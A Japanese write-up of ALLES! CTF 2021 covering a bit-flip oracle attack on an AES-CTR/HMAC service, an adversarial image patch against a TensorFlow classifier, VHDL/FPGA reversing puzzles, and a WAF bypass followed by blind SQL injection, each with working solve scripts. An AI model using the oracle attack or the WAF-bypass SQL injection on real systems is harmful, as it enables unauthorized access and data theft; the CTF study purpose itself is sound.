ALLES! CTF 2021 Writeup
Sun Sep 05 2021
9/4-9/5 で開催していた ALLES! CTF 2021 にチーム WreckTheLine で参加しました。結果は 11th/523 (得点のあるチームのみカウント) でした。あと1問解ければ賞金圏内でした…悔しい
あまり (いわゆる Crypto の意味での) Crypto の問題はほぼなかったので、今回は普段あまりやらない問題に手を出してました。疲れた。
以下、解いた問題についての writeup です。
Boomer Crypto
※いわゆる Crypto
Secure Flag Service
46 solves
main.py#!/usr/bin/env python3 import base64 from Crypto.Cipher import AES from Crypto.Hash import SHA3_256, HMAC, BLAKE2s from Crypto.Random import urandom, random from secret import FLAG, PASSWORD encryption_key = BLAKE2s.new(data=PASSWORD + b"encryption_key").digest() mac_key = BLAKE2s.new(data=PASSWORD + b"mac_key").digest() def int_to_bytes(i): return i.to_bytes((i.bit_length() + 7) // 8, byteorder="big") def encode(s): bits = bin(int.from_bytes(s, byteorder="big"))[2:] ret = "" for bit in bits: if bit == "1": if random.randrange(0, 2): ret += "01" else: ret += "10" else: ret += "00" return int_to_bytes(int(ret, base=2)) def decode(s): bits = bin(int.from_bytes(s, byteorder="big"))[2:] if len(bits) % 2: bits = "0" + bits ret = "" for i in range(0, len(bits) - 1, 2): if int(bits[i] + bits[i + 1], base=2): ret += "1" else: ret += "0" return int_to_bytes(int(ret, base=2)) def encrypt(m): nonce = urandom(8) aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=nonce) tag = HMAC.new(key=mac_key, msg=m).digest() return nonce + aes.encrypt(encode(m) + tag) def decrypt(c): try: aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=c[:8]) decrypted = aes.decrypt(c[8:]) message, tag = decode(decrypted[:-16]), decrypted[-16:] HMAC.new(key=mac_key, msg=message).verify(mac_tag=tag) return message except ValueError: print("Get off my lawn or I call the police!!!") exit(1) def main(): try: encrypted_password = base64.b64decode(input("Encrypted password>")) password = decrypt(encrypted_password) if password == PASSWORD: print(str(base64.b64encode(encrypt(FLAG)), "utf-8")) else: print("Wrong Password!!!") except: exit(1) if __name__ == "__main__": main()
AES の CTR モードで暗号化を行っています。ただ暗号化するだけでなく、 encode を使っています。これはメッセージの各ビットについて 1 を 01 または 10 に、 0 を 00 に変更する処理です。逆の操作 decode は、 00 を 0 にしてそれ以外は 1 になります。また HMAC での検証も行われています。
PASSWORD を暗号化した文字列が問題文中に与えられているので、まずはこの値をリークさせることを試みます (自分はこの問題文中の暗号文の存在にしばらく気づかず、沼にハマってました…)
decode の処理が特殊なので、これをうまく使うことを考えます。 CTR モードでは cipher = plain + AES(nonce||counter) (+ は xor) の関係があるため、 cipher にある値で xor をとることは plain にも同じ値で xor をとることに対応します。 ここで PASSWORD の暗号文を2ビットずつ区切り、ある区切られたブロックの2ビットをそれぞれ反転 (すなわち 1 で xor をとる) させて decrypt を試みてみます。 AES の decrypt 結果もあるビットが反転した形になります。2ビットずつ見ていったときに 11, 10, 01 は1に decode、 00 は 0 になるので、もともと 00 ならばビット反転させた2パターンでは必ず 1 となって HMAC の検証で落ちます。もともと 01 もしくは 10 のときは片方は検証が通り、片方は検証が通らないことになります。これで PASSWORD をリークできます。
leak_password.pyfrom base64 import b64decode, b64encode from Crypto.Util.number import bytes_to_long, long_to_bytes from pwn import remote enc_password = b64decode(b"kgsekWGeAwPhz6tbMyLd34Bg5pwhy2TkQJF7NRYC987Ibuiu/dmNHqyYXHV0kXlksThSRi83Qu2owAiUdT9pfqlY") nonce = enc_password[:8] enc_password = enc_password[8:] enc_password_int = bytes_to_long(enc_password) def try_decrypt(payload: bytes): io = remote("7b000000cb42a1afe848f639-secure-flag-service.challenge.master.allesctf.net", 31337, ssl=True) payload = b64encode(payload) io.sendlineafter("password>", payload) ret = io.recvline().strip().decode() io.close() if "Get off" in ret or "Wrong" in ret: return False else: return True # server が不安定だったので EOFError の処理を書いている rec_pass_bin = "" for i in range(8*16, 30*16, 2): while True: try: print(i) tmp_enc_password_0 = long_to_bytes(enc_password_int ^ (1 << i)) tmp_enc_password_1 = long_to_bytes(enc_password_int ^ (1 << (i + 1))) res_0 = try_decrypt(nonce + tmp_enc_password_0) res_1 = try_decrypt(nonce + tmp_enc_password_1) b = (not res_0) and (not res_1) rec_pass_bin = str(0 if b else 1) + rec_pass_bin break except EOFError: continue PASSWORD = long_to_bytes(int(rec_pass_bin, 2))
PASSWORD が求まったので、 encryption_key や mac_key も求まり、手元でフラグの暗号文を復号することができます。
solve.pyencryption_key = BLAKE2s.new(data=PASSWORD + b'encryption_key').digest() mac_key = BLAKE2s.new(data=PASSWORD + b'mac_key').digest() enc_flag = b64decode(b"wz2nZBOfbbFEEG7+VUxmqEmSgIMf2Zu4sunEaupksU+4Mx5MNbeE09WoSmBe/cFG/b1BXu3IA9ulc9lRy4xpzRFweKGE5m2OEK8B6rQl2k6jOzH+zdg66RyKtIvJ2g==") # enc_password を送った decrypt(enc_flag)
ALLES!{who_needs_ind-cca_anyways??}
Misc
PixelCat
42 solves
ML 問です。入力画像を猫か犬か分類するモデル (tensorflow 製) が与えられています。入力画像の 128x128 ピクセルの内、 1900 ピクセルまで固定の値に変更することができるフィルターを与えることができます。
Fast Gradient Sign Method が典型的には使えそうなので、試してみたらうまく動きました。 具体的には、以下の手順でやりました。
- 与えられた猫の画像をモデルに入力し、 が大きくなるようなピクセル top 1900を選び出す
- 正直これは不要で、多分ランダムな1900点選ぶのでもいけると思う
- ランダムな画像を生成してモデルに入力し、 の勾配を、選んだピクセルに対して足す。これを十分確率が大きくなるまで繰り返す。
- 猫の画像の augmentation をした画像を使うほうが性能でる気がするけど、 np.random.random の画像で十分にできた。
solve.pyimport numpy as np import tensorflow as tf from PIL import Image from tensorflow.keras.models import load_model ImageFile.LOAD_TRUNCATED_IMAGES = True file_path = "cat.jpg" w, h = (128, 128) image = Image.open(file_path) image = image.resize((w, h)) image = image.convert("RGB") image = np.expand_dims(image, axis=0) image = np.array(image) image = image / 255 # どこの pixel でフィルター作るか決める (どこでもよさそうだけど) inp = image.copy() inp_tensor = tf.convert_to_tensor(inp) with tf.GradientTape(persistent=True) as t: t.watch(inp_tensor) out = model(inp_tensor) out_prob = tf.math.reduce_mean(out, axis=0)[1] grad = t.gradient(out_prob, inp_tensor) tmp = grad.numpy().sum(axis=3)[0].reshape(-1) idx_list_1d = tmp.argsort()[-1899:] idx_list_2d = [(idx // 128, idx % 128) for idx in idx_list_1d] # ランダムな入力に対して grad を計算し、 filter を更新 out_prob = 0.0 while out_prob < 0.95: inp = np.random.random((1024, 128, 128, 3)) for i in range(1899): row, col = idx_list_2d[i] inp[:, row, col, :] = filters[i] inp_tensor = tf.convert_to_tensor(inp) with tf.GradientTape(persistent=True) as t: t.watch(inp_tensor) out = model(inp_tensor) out_prob = tf.math.reduce_mean(out, axis=0)[1] print(out_prob) grad = t.gradient(out_prob, inp_tensor) grad = grad.numpy().sum(axis=0) for i in range(1899): row, col = idx_list_2d[i] filters[i] += 10 * grad[row, col] filters = np.clip(filters, 0.0, 1.0) # check inp = image.copy() for i in range(1899): row, col = idx_list_2d[i] inp[:, row, col, :] = filters[i] inp_tensor = tf.convert_to_tensor(inp) print(model(inp_tensor)) # filter 画像を出力 filters_np = np.zeros((128, 128, 4), dtype=np.uint8) for i in range(1899): row, col = idx_list_2d[i] filters_np[row, col, :3] = 255 * filters[i] filters_np[row, col, 3] = 255 img = Image.fromarray(filters_np) img.save("payload.png")
これで出力された payload.png を提出してしばらく経つとフラグが得られました。
ALLES!{4dv3r53r14l_m4ss_1m4g3_m4n1pul4t0r}
機械学習エンジニアのくせに tensorflow 全然使いこなせていないので本当にダメ…(普段は pytorch しか使ってない) grad を取るのに手こずってしまった…
Reverse Engineering
Fomu Whisperer
30 solves
VHDL で書かれたプログラムのリバーシング問題。この問題では実際に fomu に対して入力ができ、出力を LED で確認できます (ビデオで与えられます)。2ピン分入力ができるので、それらを適切に制御するとフラグのビット列が LED を通して得られます。
flag1Shift は以下のように更新されています。
flag1Shift(flag1Shift'left downto 3) <= flag1Shift(flag1Shift'left-3 downto 0); flag1Shift(0) <= user_1_debounced; flag1Shift(1) <= user_4_debounced; flag1Shift(2) <= user_1_debounced xor user_4_debounced;
user_i_debounced は入力 user_i のチャタリングを除去したものです。この flag1Shift が flag1Ref に一致していると flag1Solved が1となり、それ以降ではフラグのビット列が出力されるモードになります。
signal flag1Ref : std_logic_vector(20 downto 0) := "111101110101110000011"; ... if (flag1Shift(flag1Ref'left downto 0) = flag1Ref) then flag1Solved <= '1'; ... if (flag1Solved = '1') then flag1(flag1'left downto 2) <= flag1(flag1'left-2 downto 0); led_flag(2) <= flag1(flag1'left); led_flag(1) <= flag1(flag1'left-1); flag1(0) <= flag1(flag1'left-1); flag1(1) <= flag1(flag1'left);
以下のコードを送ることで、フラグのビット列を見ることができました。 最初の sleep が4なのはタイミング調整のため、最後の sleep が240なのはフラグのビット列を最後まで見るためです。
pin 1=1,4=0 sleep 4 pin 1=0,4=1 sleep 3 pin 1=1,4=0 sleep 3 pin 1=0,4=1 sleep 3 pin 1=0,4=0 sleep 3 pin 1=1,4=1 sleep 240
最後のフラグについては、 LED が緑なら 01、青色なら 10、水色なら 11 です。自動化面倒だったので人力でやりました…
ALLES!{vhd1_r3v}
Verilog は書いたことがあったのですが VHDL は初めてだったので、基本的な記法を調べるところからでした。勉強になったし実際にハードを動かすことができて面白かったです。
Fomu Whisperer 2
21 solves
この問題は前問の続きです。前回と同様、 flag2Shift を flag2Ref に一致させればフラグが得られます。 後述しますが、ほぼチームメイトが解いてくれました。
flag2Shift(flag2Shift'left downto 2) <= flag2Shift(flag2Shift'left-2 downto 0); flag2Shift(0) <= user_1_debounced; flag2Shift(1) <= user_4_debounced; ... if (flag2Shift(flag2Ref'left downto 0) = flag2Ref) then flag2Solved <= '1';
ただこの問題では、 flag2Ref は SB_MAC16 で計算された結果を使用しています。計算には flag1 の値 (前問でわかっているので既知) を使っています。なので SB_MAC16 の動作を追うことができれば前問と同様に解くことができます。
mac16: SB_MAC16 generic map (A_REG => 1, B_REG=>1, C_REG => 1, D_REG=>1, BOTOUTPUT_SELECT=>0, BOTADDSUB_UPPERINPUT => 1, BOTADDSUB_CARRYSELECT => 1, BOTADDSUB_LOWERINPUT => 2, TOPADDSUB_UPPERINPUT => 1, TOPADDSUB_CARRYSELECT => 2, TOPOUTPUT_SELECT => 0, TOPADDSUB_LOWERINPUT => 2) port map(clk=>clk, A=>SA, B=>SB, C=>SC, D=>SD, O=>dout, CI => '0', OLOADBOT => '0', OHOLDBOT=>'1', ORSTBOT=>'1', OLOADTOP => '0', ORSTTOP=>'1', OHOLDTOP=>'1', ADDSUBTOP=>'1'); ... if (rising_edge(clk)) then SA <= flag1(SA'left downto 0); SB <= flag1(flag1'left downto flag1'left-15); SC <= flag1(68 downto (68-15)); SD <= flag1(86 downto (86-15)); flag2Ref(31 downto 0) <= not dout(31 downto 0);
SB_MAC16 の 回路図 を眺めてみたのですが動作を追うことができず、チームメイトにヘルプを投げました。すると Verilog での実装 を見つけてくれました。しかもそれを オンライン上で実行 してくれて、 dout の値を求めてくれました。あれ、自分何もしてなくない…? 以下の verilog コードが、 dout を求めるのに使われたものです。
/* * Do not change Module name */ module main; wire [15:0]SA = 16'b0111011001111101; wire [15:0]SB = 16'b0100000101001100; wire [15:0]SC = 16'b1011001101000011; wire [15:0]SD = 16'b0100001011110110; wire [31:0]SO; reg clk; SB_MAC16 s ( .CLK(clk), .CE(1'b1), .A(SA), .B(SB), .C(SC), .D(SD), .AHOLD(1'b0), .BHOLD(1'b0), .CHOLD(1'b0), .DHOLD(1'b0), .IRSTTOP(1'b0), .IRSTBOT(1'b0), .OLOADBOT(1'b0), .OHOLDBOT(1'b1), .ORSTBOT(1'b1), .OLOADTOP(1'b0), .ORSTTOP(1'b1), .OHOLDTOP(1'b1), .ADDSUBTOP(1'b1), .ADDSUBBOT(1'b0), .CI(1'b0), .ACCUMCI(1'b0), .SIGNEXTIN(1'b0), .O(SO) ); initial begin clk = 0; forever #1 clk = ~clk; end initial begin // forever $display(SO); $display(SA); #1 $display(SO); #1 $display(SO);#1 $display(SO);#1 $display(SO);#1 $display(SO); #1000 $display(SO); #100000 $display(SO); $finish ; end endmodule module SB_MAC16 ( input CLK, CE, input [15:0] C, A, B, D, input AHOLD, BHOLD, CHOLD, DHOLD, input IRSTTOP, IRSTBOT, input ORSTTOP, ORSTBOT, input OLOADTOP, OLOADBOT, input ADDSUBTOP, ADDSUBBOT, input OHOLDTOP, OHOLDBOT, input CI, ACCUMCI, SIGNEXTIN, output [31:0] O, output CO, ACCUMCO, SIGNEXTOUT ); parameter [0:0] NEG_TRIGGER = 0; parameter [0:0] C_REG = 1; parameter [0:0] A_REG = 1; parameter [0:0] B_REG = 1; parameter [0:0] D_REG = 1; parameter [0:0] TOP_8x8_MULT_REG = 0; parameter [0:0] BOT_8x8_MULT_REG = 0; parameter [0:0] PIPELINE_16x16_MULT_REG1 = 0; parameter [0:0] PIPELINE_16x16_MULT_REG2 = 0; parameter [1:0] TOPOUTPUT_SELECT = 0; parameter [1:0] TOPADDSUB_LOWERINPUT = 2; parameter [0:0] TOPADDSUB_UPPERINPUT = 1; parameter [1:0] TOPADDSUB_CARRYSELECT = 2; parameter [1:0] BOTOUTPUT_SELECT = 0; parameter [1:0] BOTADDSUB_LOWERINPUT = 2; parameter [0:0] BOTADDSUB_UPPERINPUT = 1; parameter [1:0] BOTADDSUB_CARRYSELECT = 1; parameter [0:0] MODE_8x8 = 0; parameter [0:0] A_SIGNED = 0; parameter [0:0] B_SIGNED = 0; wire clock = CLK ^ NEG_TRIGGER; // internal wires, compare Figure on page 133 of ICE Technology Library 3.0 and Fig 2 on page 2 of Lattice TN1295-DSP // http://www.latticesemi.com/~/media/LatticeSemi/Documents/TechnicalBriefs/SBTICETechnologyLibrary201608.pdf // https://www.latticesemi.com/-/media/LatticeSemi/Documents/ApplicationNotes/AD/DSPFunctionUsageGuideforICE40Devices.ashx wire [15:0] iA, iB, iC, iD; wire [15:0] iF, iJ, iK, iG; wire [31:0] iL, iH; wire [15:0] iW, iX, iP, iQ; wire [15:0] iY, iZ, iR, iS; wire HCI, LCI, LCO; // Regs C and A reg [15:0] rC, rA; always @(posedge clock, posedge IRSTTOP) begin if (IRSTTOP) begin rC <= 0; rA <= 0; end else if (CE) begin if (!CHOLD) rC <= C; if (!AHOLD) rA <= A; end end assign iC = C_REG ? rC : C; assign iA = A_REG ? rA : A; // Regs B and D reg [15:0] rB, rD; always @(posedge clock, posedge IRSTBOT) begin if (IRSTBOT) begin rB <= 0; rD <= 0; end else if (CE) begin if (!BHOLD) rB <= B; if (!DHOLD) rD <= D; end end assign iB = B_REG ? rB : B; assign iD = D_REG ? rD : D; // Multiplier Stage wire [15:0] p_Ah_Bh, p_Al_Bh, p_Ah_Bl, p_Al_Bl; wire [15:0] Ah, Al, Bh, Bl; assign Ah = {A_SIGNED ? {8{iA[15]}} : 8'b0, iA[15: 8]}; assign Al = {A_SIGNED ? {8{iA[ 7]}} : 8'b0, iA[ 7: 0]}; assign Bh = {B_SIGNED ? {8{iB[15]}} : 8'b0, iB[15: 8]}; assign Bl = {B_SIGNED ? {8{iB[ 7]}} : 8'b0, iB[ 7: 0]}; assign p_Ah_Bh = Ah * Bh; assign p_Al_Bh = Al * Bh; assign p_Ah_Bl = Ah * Bl; assign p_Al_Bl = Al * Bl; // Regs F and J reg [15:0] rF, rJ; always @(posedge clock, posedge IRSTTOP) begin if (IRSTTOP) begin rF <= 0; rJ <= 0; end else if (CE) begin rF <= p_Ah_Bh; if (!MODE_8x8) rJ <= p_Al_Bh; end end assign iF = TOP_8x8_MULT_REG ? rF : p_Ah_Bh; assign iJ = PIPELINE_16x16_MULT_REG1 ? rJ : p_Al_Bh; // Regs K and G reg [15:0] rK, rG; always @(posedge clock, posedge IRSTBOT) begin if (IRSTBOT) begin rK <= 0; rG <= 0; end else if (CE) begin if (!MODE_8x8) rK <= p_Ah_Bl; rG <= p_Al_Bl; end end assign iK = PIPELINE_16x16_MULT_REG1 ? rK : p_Ah_Bl; assign iG = BOT_8x8_MULT_REG ? rG : p_Al_Bl; // Adder Stage assign iL = iG + (iK << 8) + (iJ << 8) + (iF << 16); // Reg H reg [31:0] rH; always @(posedge clock, posedge IRSTBOT) begin if (IRSTBOT) begin rH <= 0; end else if (CE) begin if (!MODE_8x8) rH <= iL; end end assign iH = PIPELINE_16x16_MULT_REG2 ? rH : iL; // Hi Output Stage wire [15:0] XW, Oh; reg [15:0] rQ; assign iW = TOPADDSUB_UPPERINPUT ? iC : iQ; assign iX = (TOPADDSUB_LOWERINPUT == 0) ? iA : (TOPADDSUB_LOWERINPUT == 1) ? iF : (TOPADDSUB_LOWERINPUT == 2) ? iH[31:16] : {16{iZ[15]}}; assign {ACCUMCO, XW} = iX + (iW ^ {16{ADDSUBTOP}}) + HCI; assign CO = ACCUMCO ^ ADDSUBTOP; assign iP = OLOADTOP ? iC : XW ^ {16{ADDSUBTOP}}; always @(posedge clock, posedge ORSTTOP) begin if (ORSTTOP) begin rQ <= 0; end else if (CE) begin if (!OHOLDTOP) rQ <= iP; end end assign iQ = rQ; assign Oh = (TOPOUTPUT_SELECT == 0) ? iP : (TOPOUTPUT_SELECT == 1) ? iQ : (TOPOUTPUT_SELECT == 2) ? iF : iH[31:16]; assign HCI = (TOPADDSUB_CARRYSELECT == 0) ? 1'b0 : (TOPADDSUB_CARRYSELECT == 1) ? 1'b1 : (TOPADDSUB_CARRYSELECT == 2) ? LCO : LCO ^ ADDSUBBOT; assign SIGNEXTOUT = iX[15]; // Lo Output Stage wire [15:0] YZ, Ol; reg [15:0] rS; assign iY = BOTADDSUB_UPPERINPUT ? iD : iS; assign iZ = (BOTADDSUB_LOWERINPUT == 0) ? iB : (BOTADDSUB_LOWERINPUT == 1) ? iG : (BOTADDSUB_LOWERINPUT == 2) ? iH[15:0] : {16{SIGNEXTIN}}; assign {LCO, YZ} = iZ + (iY ^ {16{ADDSUBBOT}}) + LCI; assign iR = OLOADBOT ? iD : YZ ^ {16{ADDSUBBOT}}; always @(posedge clock, posedge ORSTBOT) begin if (ORSTBOT) begin rS <= 0; end else if (CE) begin if (!OHOLDBOT) rS <= iR; end end assign iS = rS; assign Ol = (BOTOUTPUT_SELECT == 0) ? iR : (BOTOUTPUT_SELECT == 1) ? iS : (BOTOUTPUT_SELECT == 2) ? iG : iH[15:0]; assign LCI = (BOTADDSUB_CARRYSELECT == 0) ? 1'b0 : (BOTADDSUB_CARRYSELECT == 1) ? 1'b1 : (BOTADDSUB_CARRYSELECT == 2) ? ACCUMCI : CI; assign O = {Oh, Ol}; endmodule
自分は dout から正解入力を作る script を書き、コードを提出し、 LED を読み取りました。
bin_to_payload.pydout = "10010101000010100010110100010011" for i in range(0, 32, 2): bit_4, bit_1 = int(dout[i]), int(dout[i+1]) bit_4, bit_1 = 1-bit_4, 1-bit_1 line = f"pin 4={bit_4},1={bit_1}" print(line) sleep_t = 3 if i == 0: sleep_t += 1 elif i == 24: sleep_t -= 1 print(f"sleep {sleep_t}")
ALLES!{dsp_m4st3r}
競技終了1時間前ぐらいにコードを提出したので、 LED の動画が返ってくるまでのそわそわタイムが心臓に悪かったですね…
復習
Web
Amazing Crypto WAF
23 solves
ノートを書いたり閲覧したりできるアプリです。ただしこのアプリを直接操作するわけでなく、暗号化/復号を行うアプリを経由することになります。したがってノートアプリで用いる DB の中身は全て暗号化されています。
crypter/app.py(snipped) # the WAF is still early in development and only protects a few cases def waf_param(param): MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"] for key in param: val = param.get(key, "") while val != unquote(val): val = unquote(val) for evil in MALICIOUS: if evil.lower() in val.lower(): raise Exception("hacker detected") (snipped) @app.route("/", defaults={"path": ""}) @app.route("/<path:path>", methods=["POST", "GET"]) def proxy(path): # Web Application Firewall try: waf_param(request.args) waf_param(request.form) except: return "error" # contact backend server proxy_request = None query = request.query_string.decode() print(query) headers = {"Cookie": request.headers.get("Cookie", None)} if request.method == "GET": proxy_request = requests.get( f"{BACKEND_URL}{path}?{query}", headers=headers, allow_redirects=False ) elif request.method == "POST": headers["Content-type"] = request.content_type proxy_request = requests.post( f"{BACKEND_URL}{path}?{query}", data=encrypt_params(request.form), headers=headers, allow_redirects=False, ) if not proxy_request: return "error" response_data = decrypt_data(proxy_request.content) injected_data = inject_ad(response_data) resp = make_response(injected_data) resp.status = proxy_request.status_code if proxy_request.headers.get("Location", None): resp.headers["Location"] = proxy_request.headers.get("Location") if proxy_request.headers.get("Set-Cookie", None): resp.headers["Set-Cookie"] = proxy_request.headers.get("Set-Cookie") if proxy_request.headers.get("Content-Type", None): resp.content_type = proxy_request.headers.get("Content-Type") return resp
アプリ側に自明な SQLi の脆弱性が存在します。
app/app.py@app.route('/notes') @login_required def notes(): order = request.args.get('order', 'desc') notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']]) return render_template('notes.html', user=g.user, notes=notes)
order 経由で SQLi ができそうです。しかし暗号化を行う crypter/app.py では MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"] が args の文字に含まれている場合はじく処理があり、単純にはうまくいきません。 SQLi の方法もわからなかったし、 SQLi できたとしても DB 内のデータは暗号化されているので鍵がわからないと復号できなさそう…とあれこれ悩んでいるうちに終了。
Ark さんの writeup を参考に解き直しました。
/notes?order=... ではなく /notes%3forder=... に GET しています。この場合どうなるかというと crypter/app.py では @app.route("/<path:path>", methods=["POST", "GET"]) が指定されている関係で path=notes%3forder=... が代入され、 request.args は空になり、 WAF を回避できます。なるほど… SQLi ができるようになったので、 order=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)-- 等とすると、 idx 番目の文字が c であるか否かで挙動を変えることができます。
これで DB の中身をリークできるのですが、復号しないといけません。暗号処理の部分には問題がなさそうです (そもそも web 問だし…)。ではどうすべきかというと、DB の任意の要素が同様の処理で復号されるため、ユーザー名を暗号文にすると UI に表示されるユーザー名に復号結果を表示させることができます。なるほど…
solve.pyfrom multiprocessing import Pool import requests url = "https://7b00000014971ac5d00bc620-amazing-crypto-waf.challenge.master.allesctf.net:31337/notes" query_template = ( "%3forder=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)--" ) # 事前に適当にユーザー登録をしておき、ノートを一つつくっておく headers = { "Cookie": "session=5118a545e05e415fb8fb756158e9df93.5b14d3e84b09aacf0b3354fc1163f73083441601608d06e055d91cbe2e694ad8" } # 間違っている場合の文字数を予め知っておく query = query_template.format(idx=1, c="A") res = requests.get(url + query, headers=headers) len_wrong = len(res.text) def get_results(idx: int, j: int) -> bool: c = chr(j) if c in "#%&'\"()*'/{}": return False query = query_template.format(idx=idx, c=c) res = requests.get(url + query, headers=headers) return len(res.text) != len_wrong flag_body = "" for idx in range(len(flag_body) + 1, 200): with Pool(16) as p: results = p.starmap(get_results, [(idx, j) for j in range(32, 128)]) for r, j in zip(results, range(32, 128)): if r: flag_body += chr(j) print(flag_body) break else: break
ALLES!{American_scientists_said,_dont_do_WAFs!}